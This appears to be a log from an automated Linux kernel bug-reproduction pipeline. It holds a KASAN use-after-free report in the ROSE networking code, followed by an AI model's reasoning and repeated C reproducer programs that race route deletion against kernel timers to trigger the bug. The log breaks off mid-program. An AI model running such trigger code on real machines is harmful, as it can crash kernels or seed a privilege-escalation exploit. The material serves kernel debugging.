 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Strategy: The feedback clearly indicates that the `SIOCSIFHWADDR` ioctl failed because `ifr.ifr_hwaddr.sa_family` was incorrectly set to `AF_ROSE` (11) instead of the expected hardware type `ARPHRD_ROSE` (270). This failure cascaded, leaving `rose0` without the expected MAC address, which then caused `bind()` to fail with `EADDRNOTAVAIL`.

To fix this, we simply need to include `<net/if_arp.h>` and use `ARPHRD_ROSE` when setting the hardware address for the `rose0` interface.

Here is the updated reproducer:

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE; // Fix: Use ARPHRD_ROSE instead of AF_ROSE
    ifr.ifr_hwaddr.sa_data[0] = 1;
    if (ioctl(sock, SIOCSIFHWADDR, &ifr) < 0) {
        perror("SIOCSIFHWADDR rose0");
    }

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) continue;

        if (bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
            perror("bind");
        }
        if (ioctl(rsock, SIOCADDRT, &route) < 0) {
            perror("SIOCADDRT");
        }
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```
NeedProbe: false

195/4 2026/05/26 11:57 llm repro-generator
1m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12207
							output: 2042
							thoughts: 11335
						

Thoughts:
**Reproducer for KASAN slab-use-after-free in `rose_send_frame`**

Okay, I'm being asked to create a C reproducer for a KASAN UAF in the `rose_send_frame` function. The key is in the race condition between timers and route deletion.  The initial feedback indicates an issue with `SIOCSIFHWADDR` failing because the hardware address family was incorrectly set. The user even gave a strategy that I think I need to use.  However, this prompt is for me to *generate* the reproducer. The user says that the needProbe variable is false, so I should provide the full reproducer and I am now ready to begin writing the C code. It's time to build a reproducer!

I've got a description that mentions a UAF in `rose_send_frame` called from `rose_transmit_restart_request`, then from `rose_t0timer_expiry`. The object that's freed is a `rose_neigh` that was allocated by `rose_add_node` via `rose_rt_ioctl` (specifically `SIOCADDRT`). The object is freed by `rose_neigh_put` called from `rose_timer_expiry` (which is the t3timer).  The provided reproducer has a lot of good features, and I'll carefully check it against the instructions.

First, I need to create a `ax0` interface using the `mkiss` line discipline.  Then, I'll bring the interface up. Then, I need to set the `rose0` interface's MAC address and bring it up too. The crucial part:  The feedback indicates a fix where I need to use `ARPHRD_ROSE` instead of `AF_ROSE` when setting the hardware address with `SIOCSIFHWADDR`.  I will need to ensure that the t3timer and t0timer expire at the same time and I will do this with `set_sysctl`.  Finally, I will set up the race condition by setting up several iterations of binding a socket, adding a route with `SIOCADDRT`, then deleting the route with `SIOCDELRT`, and closing the socket. I have to make sure I wait for the timers to expire with `sleep(1)`.

The instructions demand strict error checking after *every* system call. If a call fails, I must print an error message including the function name and the `strerror(errno)`, and *then* exit with a non-zero status. So that's the main change I need to make to the reproducer. Let's start with a solid structure for the C code:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (


196/4 2026/05/26 11:59 tool set-results
0m Args:
map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

Results:
map[IsProbe:false RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought ax0 up.\n");

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = ARPHRD_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    res = ioctl(sock, SIOCSIFHWADDR, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFHWADDR for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set rose0 MAC address.\n");

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCSIFFLAGS for rose0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Brought rose0 up.\n");

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        if (rsock < 0) {
            printf("[-] Failed to create rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        if (res < 0) {
            printf("[-] Failed to bind rsock: %s\n", strerror(errno));
            exit(1);
        }

        res = ioctl(rsock, SIOCADDRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCADDRT: %s\n", strerror(errno));
            exit(1);
        }

        res = fcntl(rsock, F_SETFL, O_NONBLOCK);
        if (res < 0) {
            printf("[-] Failed to fcntl O_NONBLOCK: %s\n", strerror(errno));
            exit(1);
        }
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        res = connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if (res < 0 && errno != EINPROGRESS) {
            printf("[-] Failed to connect: %s\n", strerror(errno));
            exit(1);
        }
        
        // Delete the route (stops t0timer, drops routing refcount)
        res = ioctl(rsock, SIOCDELRT, &route);
        if (res < 0) {
            printf("[-] Failed to ioctl SIOCDELRT: %s\n", strerror(errno));
            exit(1);
        }
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
        printf("[+] Iteration %d completed.\n", i);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    printf("[+] Waiting for timers to expire...\n");
    sleep(1);

    printf("[+] Done.\n");
    return 0;
}
]

197/3 2026/05/26 11:59 loop
0m
198/4 2026/05/26 11:59 iteration 0
0m
199/5 2026/05/26 11:59 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Set line discipline to N_AX25.\n");

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        printf("[-] Failed to create AF_ROSE socket: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created AF_ROSE socket.\n");

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    res = ioctl(sock, SIOCGIFFLAGS, &ifr);
    if (res < 0) {
        printf("[-] Failed to ioctl SIOCGIFFLAGS for ax0: %s\n", strerror(errno));
        exit(1);
    }
    ifr.ifr_flags |= IFF_UP;
    res = ioctl(sock, SIOCSIFFLAGS, &ifr);
    if (res < 0) {
